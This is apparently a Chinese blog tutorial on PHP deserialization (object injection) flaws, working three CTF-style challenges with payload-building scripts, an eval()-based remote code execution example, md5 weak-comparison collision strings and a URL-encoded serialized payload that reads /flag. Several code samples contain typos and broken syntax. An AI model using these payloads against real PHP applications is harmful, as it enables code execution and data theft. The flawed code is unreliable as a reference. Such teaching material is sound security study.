web渗透-反序列化

gsupl.落浅~ / 2024-08-11 / 原文

一:概念

1、序列化:将变量转化为可保存或者可以传输的字符串的过程;实现函数是serialize()函数(变量转化成字符串

2、反序列化:把这个字符串在转化成原来变量使用;就是序列化的逆过程;实现函数是unserialize()函数( 字符串转换成变量

3、示例

<?php
class Student{
	public $name="admin";
	public $grade=90;
}
$a = new Student;
var_dump($a);
echo serialize($a);//序列化(变量转成字符串)
$b=unseralize(serialize($a));//发序列化(字符串转换成变量)
var_dump($b);
?>

4、序列化和发序列化的目的是为了更加轻松的存储和传输数据;使程序更具有维护性质

二:反序列化漏洞

1、发序列话漏洞也称为对象注入;就是当程序在进行反序列化时;会自动调用一些函数;但是如果传入函数的参数可以被用户控制的话;用户可以输入一些恶意的代码到函数当中;从而导致反序列漏洞

三:魔术方法

陆续更新中!

四:数组

陆续更新中!

五:例题讲解

步骤
1、注释掉和属性无关的内容
2、审计代码给属性赋值
3、构造序列化数据
4、传递数据到服务器

题目1:

//题目1
<?php
show_source(__FILE__):
error_reportting(0);
class DEMO{
	public $func;
	public $args;
	public function safe(){
		echo $this->arg;
	}
	public function evil(){
		eval($this->arg);
	}
	public function run()
		$this->{$this->func}();
	public _construct(){
		$this->func = 'evil';
	}
}
$obj=unserialize($GET['a'])
$obj->run();
?>
//思路
//第一步:注释掉与属性无关的内容
<?php
class DEMO{
	public $func;
	public $args;
	}
}
?>
//第二步骤:审计代码给属性赋值
	public $func='evil';
	public $args=systeminfo();
//第三步骤;生成序列化数据(包含恶意代码)
$d=new DEMO;
echo urlencode(serialize($d));
//提交反序列话数据到服务器
GET提交数据的方式:url/?序列化数据

题解:审计代码;需要以GET方式传递一个参数;然后去执行run方法;分析run方法;当$func='evil'时;才会执行evil方法;evil方法中eval()函数能够将传递进来的参数当作php代码执行;然而用$args传递参数;我们需要构造序列化数据(包含恶意代码);然后传递给服务器;服务器反序列化还原数据;让eval函数执行代码!

题目2

<?php
class Login{
	private $user='ylng';
	
	//function_destruct()
	{
		//if ($this->user='admin'){
			//echo $flag;
		}//else{
			//echo 'you are not my admin';
		}
	}
}
//$exp = $_GET['exp'];
//userialize(@$exp)
?>

题解:
审计代码;通过get方式传递数据;代码中判断$user是否等于admin;如果等于admin 就输出flag;于是给$user赋值伪admin;然构造序列化数据(根据上面的步骤)

<?php
class Login{
    private $user='admin';
}
$d=new Login;
echo urlencode(serialize($d));
?>

然后将序列化数据传递给服务器;拿到flag!

题目3

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}
?>

审计代码:
(1)首先分析判断语句:第一个if成立的条件是GET传参pleaseget=1;第二个if成立的条件伪POST传值pleaseport=2;第三个if成立的条件是需要两个不同的数。且这两个不同的数值的md5 的却相同;就是简单的弱类型碰撞md51=s878926199a&md52=s214587387a
(2)分析BUU类;通过审计代码得出;当$correct=$input的时候;输出flag;构造序列化数据O%3A3%3A%22BUU%22%3A2%3A%7Bs%3A7%3A%22correct%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22input%22%3BR%3A2%3B%7D

<?php
class BUU {
   public $correct = "";
   public $input = "";
}
$a=new BUU();
$a->input=&$a->correct;//引用;让input的是始终和correct的值相等<===>C++的指针!
echo urlencode(serialize($a));
?>

结果:
image

陆续更新....!